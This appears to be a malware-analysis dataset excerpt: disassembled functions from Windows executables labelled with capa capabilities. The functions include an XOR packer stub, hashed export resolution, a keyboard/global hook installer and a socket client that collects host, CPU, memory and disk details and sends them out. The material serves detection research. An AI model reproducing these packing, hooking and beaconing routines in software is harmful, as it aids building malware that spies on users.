joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401830
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x30
mov eax, dword [0x41d010]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
mov ebx, dword [esp + 0x38]
push ebp
push esi
xor ebp, ebp
mov dword [esp + 0x10], ebx
mov eax, dword [ebx + 0x3c]
push edi
mov dword [esp + 0x18], 0
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [ecx + ebx + 0x20]
add ecx, ebx
mov dword [esp + 0x20], ecx
add eax, ebx
mov dword [esp + 0x10], eax
mov ecx, dword [ecx + 0x18]
mov dword [esp + 0x1c], ecx
test ecx, ecx
je 0x401a0a
nop word [eax + eax]
mov edx, dword [eax]
xorps xmm0, xmm0
add edx, ebx
mov dword [esp + 0x34], 0
mov eax, edx
mov dword [esp + 0x38], 0
movups xmmword [esp + 0x24], xmm0
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018a1
sub eax, esi
lea ecx, [esp + 0x24]
push eax
push edx
call fcn.00401020
mov edi, dword [esp + 0x34]
lea ebx, [esp + 0x24]
mov esi, edi
xor esi, 0x14d
cmp dword [esp + 0x38], 0x10
cmovae ebx, dword [esp + 0x24]
push ebx
shr edi, 2
push edi
push str._x_and__p
call fcn.00401cf0
add esp, 0xc
xor edx, edx
test edi, edi
je 0x401911
nop word [eax + eax]
imul ecx, dword [ebx + edx*4], 0x5bd1e991
inc edx
imul esi, esi, 0x5bd1e991
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e991
xor esi, ecx
cmp edx, edi
jl 0x4018f0
mov eax, dword [esp + 0x34]
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x40193b
sub eax, 1
je 0x401931
sub eax, 1
jne 0x401949
movsx ecx, byte [ebx + edi*4 + 2]
shl ecx, 0x10
movsx eax, byte [ebx + edi*4 + 1]
shl eax, 8
xor ecx, eax
movsx eax, byte [ebx + edi*4]
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor esi, eax
mov eax, esi
shr eax, 0xd
xor eax, esi
imul ecx, eax, 0x5bd1e991
mov eax, ecx
shr eax, 0xf
xor eax, ecx
cmp eax, dword [esp + 0x48]
je 0x4019b9
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x38]
add eax, 4
mov dword [esp + 0x10], eax
cmp ecx, 0x10
jb 0x4019a8
mov edx, dword [esp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40199a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a23
push ecx
push edx
call fcn.00402143
mov eax, dword [esp + 0x18]
add esp, 8
mov ebx, dword [esp + 0x14]
inc ebp
cmp ebp, dword [esp + 0x1c]
jb 0x401880
jmp 0x401a0a
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0x14]
mov eax, dword [edx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + ebx]
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0x38]
cmp ecx, 0x10
jb 0x401a0a
mov edx, dword [esp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401a00
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401a23
push ecx
push edx
call fcn.00402143
add esp, 8
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x3c]
add eax, ebx
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402151
add esp, 0x30
ret
call fcn.0040562f
int3
Function at 0x402f0b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402f4a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402f4a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402f4a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402f4a
cmp dword [ecx + 0x74], 0xe
jbe 0x402f4a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x409a64
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x417a80
push 0x417a78
push str.FlsAlloc
push 0x1e
call fcn.00409925
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409a98
push dword [ebp + 8]
mov ecx, esi
call dword [0x415130]
call esi
jmp 0x409a9e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x409ae2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x417a90
push 0x417a88
push str.FlsGetValue
push 0x20
call fcn.00409925
mov esi, eax
add esp, 0x10
test esi, esi
je 0x409b19
push dword [ebp + 8]
mov ecx, esi
call dword [0x415130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40d1e3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40d280
push ebx
push esi
call fcn.0040d1ac
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040d0f5
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40d22d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40d27f
push edi
push eax
call fcn.0040a217
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40d24d
call fcn.004097b8
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40d27e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040d0f5
add esp, 0x20
test eax, eax
jne 0x40d26c
push edi
call fcn.004097b8
jmp 0x40d274
push ebx
call fcn.004097b8
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x414150
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41417d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41417d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret
Function at 0x402a5c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40400c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402af4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402ad4
xor eax, eax
push ebp
push 0x402acd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402b10
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402ad4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x40400c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40400c], ax
mov esp, ebp
pop ebp
ret

Function at 0x4031e4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x405038], 0
je 0x403245
cmp word [0x40520c], 0xd7b2
jne 0x40320d
cmp dword [0x405214], 0
jbe 0x40320d
mov eax, 0x405208
call dword [0x405224]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x404054
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40326c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x404018], 0
jne 0x403261
push 0
push 0x40404c
push 0x404054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4036e4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40374a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004034ac
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402950
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403734
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403751
lea eax, [ebp - 0x10]
call fcn.00403388
ret

Function at 0x403b2c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403388
mov eax, esi
call fcn.0040357c
mov dword [ebp - 8], eax
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403bb3
mov eax, dword [ebp - 4]
call fcn.004027a4
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x403bac
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov eax, ebx
mov edx, dword [ebp - 0xc]
call fcn.0040347c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403bb3
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.004027d4
ret
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403cc8
Capabilities:
Set global application hook

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
jmp 0x403ce4
xor eax, eax
push ebp
push 0x403dad
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
test ebx, ebx
je 0x403d6b
cmp dword [0x4040b8], 0
je 0x403d17
mov ecx, 0x4a
mov edx, 0x403ddc
mov eax, 0x403e10
call fcn.00403368
call sub.kernel32.dll_GetCurrentThreadId_1
mov dword [0x4040bc], eax
push ebx
mov eax, dword [0x405654]
push eax
push 0x403bbc
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4040b8], eax
cmp dword [0x4040b8], 0
setne byte [ebp - 1]
cmp byte [ebp - 1], 0
je 0x403d5f
push 0
push 0
push 0
push ebx
call sub.user32.dll_PostThreadMessageA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
push 0x1f4
call sub.kernel32.dll_Sleep
jmp 0x403da3
cmp dword [0x4040b8], 0
jne 0x403d88
mov ecx, 0x5a
mov edx, 0x403ddc
mov eax, 0x403e10
call fcn.00403368
mov eax, dword [0x4040b8]
push eax
call sub.user32.dll_UnhookWindowsHookEx
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
xor eax, eax
mov dword [0x4040b8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x403db7
jmp 0x403dc7
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x1000124f
Capabilities:
Initialize winsock library

Disassembly:
push 0x1a0
mov eax, 0x10019d28
call fcn.1000b5d9
mov edi, dword [ebp + 8]
mov esi, ecx
lea ecx, [esi + 4]
mov dword [ebp - 0x1ac], esi
mov dword [esi], vtable.CClientSocket.0
call fcn.10001000
xor ebx, ebx
lea ecx, [esi + 0x14]
mov dword [ebp - 4], ebx
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [ebp - 4], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [ebp - 4], 2
call fcn.10001000
lea eax, [ebp - 0x1a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
or dword [esi + 0x4c], 0xffffffff
mov dword [esi + 0x50], eax
push 5
lea eax, [ebp - 0x18]
push eax
lea eax, [esi + 0x5c]
push eax
mov byte [esi + 0x61], bl
mov dword [esi + 0x58], ebx
mov dword [esi + 0x54], ebx
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x17], 0x41
mov byte [ebp - 0x16], 0x4f
mov byte [ebp - 0x15], 0x5a
mov byte [ebp - 0x14], 0x49
call fcn.1000a7e0
mov eax, dword [ebp + 0xc]
push eax
mov dword [esi + 0x68], eax
lea eax, [esi + 0x6c]
push edi
push eax
call fcn.1000a7e0
add esp, 0x18
mov eax, esi
call fcn.1000b65c
ret 8

Function at 0x10001367
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
cmp eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.WS2_32.dll_send]
mov ebx, ecx
mov dword [ebp + 8], eax
jb 0x100013c4
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x10]
push esi
push dword [ebx + 0x4c]
call edi
test eax, eax
jg 0x100013a5
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xf
jl 0x1000138d
cmp dword [ebp - 8], 0xf
je 0x100013f7
add dword [ebp - 4], eax
add esi, dword [ebp + 0x10]
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp + 0x10]
sub dword [ebp + 8], eax
cmp dword [ebp + 8], eax
jae 0x10001389
cmp dword [ebp + 8], 0
jle 0x100013ef
and dword [ebp + 0x10], 0
push 0
push dword [ebp + 8]
push esi
push dword [ebx + 0x4c]
call edi
test eax, eax
jg 0x100013e6
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x100013ce
cmp dword [ebp + 0x10], 0xf
je 0x100013f7
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x100013fa
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10001452
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.MHz
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x1000149f
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10020550]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x14]
push 0
push eax
mov edi, ecx
call fcn.1000b680
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [edi + 0x4c]
mov dword [ebp - 0x20], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [ebp - 0x10]
push str.Iphlpapi.dll
mov dword [esi], eax
mov dword [ebp - 0x18], 6
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
test eax, eax
je 0x1000151b
push str.SendARP
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 0x18]
push ecx
push dword [ebp - 0x1c]
mov dword [edi + 0x44], eax
push 0
push dword [esi]
call eax
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
inc eax
pop esi
call fcn.1000b561
leave
ret 8

Function at 0x1000152e
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10020550]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push 1
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
mov eax, dword [0x1001a344]
mov dword [ebp - 0x24], eax
mov eax, dword [0x1001a348]
push 6
pop ecx
mov dword [ebp - 0x20], eax
xor eax, eax
lea edi, [ebp - 0x1c]
push 0x42
rep stosd dword es:[edi], eax
pop edi
push 8
lea eax, [ebp - 0x3c]
push 0
push eax
call fcn.1000b680
push 8
lea eax, [ebp - 0x2c]
push 0
push eax
call fcn.1000b680
push 8
lea eax, [ebp - 0x34]
push 0
push eax
call fcn.1000b680
add esp, 0x24
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x24]
push eax
mov word [ebp - 0x24], di
call dword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceExW]
mov eax, dword [ebp - 0x28]
test eax, eax
mov ecx, dword [ebp - 0x2c]
ja 0x100015be
test ecx, ecx
jbe 0x100015c9
inc dword [esi]
shrd ecx, eax, 0x14
shr eax, 0x14
add dword [ebx], ecx
inc edi
cmp edi, 0x5a
jl 0x1000156c
mov ecx, dword [ebp - 4]
pop edi
xor eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.1000b561
leave
ret 8
Function at 0x100015e3
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x10020550]
xor eax, ebp
mov dword [ebp + 0x8c], eax
push ebx
mov ebx, dword [ebp + 0x98]
push esi
push edi
mov esi, 0x104
push esi
xor edi, edi
lea eax, [ebp - 0x78]
push edi
push eax
call fcn.1000b680
add esp, 0xc
cmp ebx, edi
jne 0x1000162d
push esi
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
jmp 0x10001657
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push ebx
call esi
test eax, eax
jle 0x10001657
mov dword [ebp - 0x7c], ebx
lea eax, [ebp - 0x78]
sub dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
lea eax, [ebp + edi - 0x78]
mov cl, byte [ecx + eax]
push ebx
mov byte [eax], cl
inc edi
call esi
cmp edi, eax
jl 0x10001643
movsx eax, byte [ebp - 0x78]
push eax
call fcn.1000b7d0
test eax, eax
pop ecx
lea eax, [ebp - 0x78]
push eax
je 0x10001693
mov esi, eax
dec esi
call fcn.1000ada0
cmp byte [eax + esi], 0xa
pop ecx
jne 0x10001687
lea eax, [ebp - 0x78]
push eax
call fcn.1000ada0
pop ecx
mov byte [eax + esi], 0
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
jmp 0x100016aa
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x80], eax
push 4
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jne 0x100016c4
mov eax, dword [esi + 0xc]
cmp dword [eax], 0
je 0x100016c4
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x100016c6
xor eax, eax
mov ecx, dword [ebp + 0x8c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b561
add ebp, 0x90
leave
ret 4
Function at 0x100018c5
Capabilities:
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x10020550]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov byte [ebp - 0xc], 0
lea edi, [ebp - 0xb]
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x30]
push eax
xor esi, esi
lea eax, [ebp - 0x2c]
push eax
mov ebx, ecx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], 0x10
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], esi
call dword [sym.imp.KERNEL32.DLL_GetComputerNameW]
test eax, eax
jne 0x10001911
mov dword [ebp - 0x30], esi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.DLL_GlobalMemoryStatus]
mov edi, dword [ebp - 0x30]
lea edi, [edi + edi + 0x55]
push edi
call fcn.1000b8d1
push edi
xor edi, edi
mov esi, eax
push edi
push esi
call fcn.1000b680
mov byte [esi], 0x66
mov dword [ebx + 0x54], edi
mov dword [esi + 1], edi
mov eax, dword [ebx + 0x68]
mov dword [esi + 5], eax
push dword [ebx + 0x68]
lea eax, [ebx + 0x6c]
push eax
lea eax, [esi + 9]
push eax
call fcn.1000a7e0
mov edi, dword [ebx + 0x68]
mov eax, dword [ebp + 8]
add edi, 9
mov dword [esi + edi], eax
mov eax, dword [ebp + 0xc]
add edi, 4
mov dword [esi + edi], eax
add esp, 0x1c
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xc]
push eax
mov ecx, ebx
add edi, 4
call fcn.1000149f
push 8
lea eax, [ebp - 0xc]
push eax
lea eax, [esi + edi]
push eax
call fcn.1000a7e0
mov eax, dword [ebp - 0x38]
add edi, 8
mov dword [esi + edi], eax
mov eax, dword [ebp - 0x30]
add eax, eax
add edi, 4
mov dword [esi + edi], eax
mov eax, dword [ebp - 0x30]
add eax, eax
push eax
lea eax, [ebp - 0x2c]
push eax
add edi, 4
lea eax, [esi + edi]
push eax
call fcn.1000a7e0
mov eax, dword [ebp - 0x30]
add esp, 0x18
mov ecx, ebx
lea edi, [edi + eax*2]
call fcn.1000140b
mov dword [esi + edi], eax
add edi, 4
call dword [sym.imp.KERNEL32.DLL_GetVersion]
mov dword [esi + edi], eax
mov eax, dword [ebp - 0x6c]
add edi, 4
mov dword [esi + edi], eax
mov ecx, ebx
add edi, 4
call fcn.10001452
mov dword [esi + edi], eax
add edi, 4
mov eax, dword [ebp - 0x54]
mov dword [esi + edi], eax
mov eax, dword [ebp - 0x50]
add edi, 4
mov dword [esi + edi], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3c]
push eax
mov ecx, ebx
add edi, 4
call fcn.1000152e
mov eax, dword [ebp - 0x3c]
mov dword [esi + edi], eax
mov eax, dword [ebp - 0x34]
add edi, 4
mov dword [esi + edi], eax
add edi, 4
push edi
push esi
mov ecx, ebx
call fcn.10001762
push esi
call fcn.1000b195
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.1000b561
leave
ret 8
Function at 0x10001d6d
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0x128
mov eax, dword [0x10020550]
xor eax, ebp
mov dword [ebp + 0xa8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0xb4]
mov esi, ecx
call fcn.1000130e
push dword [esi + 0x50]
call dword [sym.imp.KERNEL32.DLL_ResetEvent]
xor ebx, ebx
push 0x104
lea eax, [ebp - 0x5c]
push ebx
push eax
mov byte [esi + 0x61], bl
call fcn.1000b680
add esp, 0xc
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x4c], eax
jne 0x10001dda
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
jmp 0x10001e9f
mov al, byte [edi]
mov byte [ebp - 0x6e], al
movzx eax, word [edi + 1]
push eax
mov word [ebp - 0x6c], 2
call dword [sym.imp.WS2_32.dll_htons]
cmp byte [ebp - 0x6e], 1
mov word [ebp - 0x6a], ax
jne 0x10001e1a
push dword [edi + 5]
add edi, 9
lea eax, [ebp - 0x5c]
push edi
push eax
call fcn.1000a7e0
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
mov ecx, esi
call fcn.100015e3
jmp 0x10001e1d
mov eax, dword [edi + 5]
mov dword [ebp - 0x68], eax
push 0x10
lea eax, [ebp - 0x6c]
push eax
push dword [esi + 0x4c]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001e39
push dword [esi + 0x4c]
jmp 0x10001dcd
xor edi, edi
inc edi
push edi
lea eax, [ebp - 0x6d]
push eax
push 8
push 0xffff
push dword [esi + 0x4c]
mov byte [ebp - 0x6d], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001e86
push ebx
push ebx
lea eax, [ebp - 0x6d]
push eax
push ebx
push ebx
push 0xc
lea eax, [ebp - 0x7c]
push eax
push 0x98000004
push dword [esi + 0x4c]
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x78], 0x2bf20
mov dword [ebp - 0x74], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push ebx
push ebx
push esi
push 0x10001c8c
push ebx
push ebx
mov byte [esi + 0x61], 1
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [esi + 0x48], eax
mov al, 1
mov ecx, dword [ebp + 0xa8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000b561
add ebp, 0xac
leave
ret 8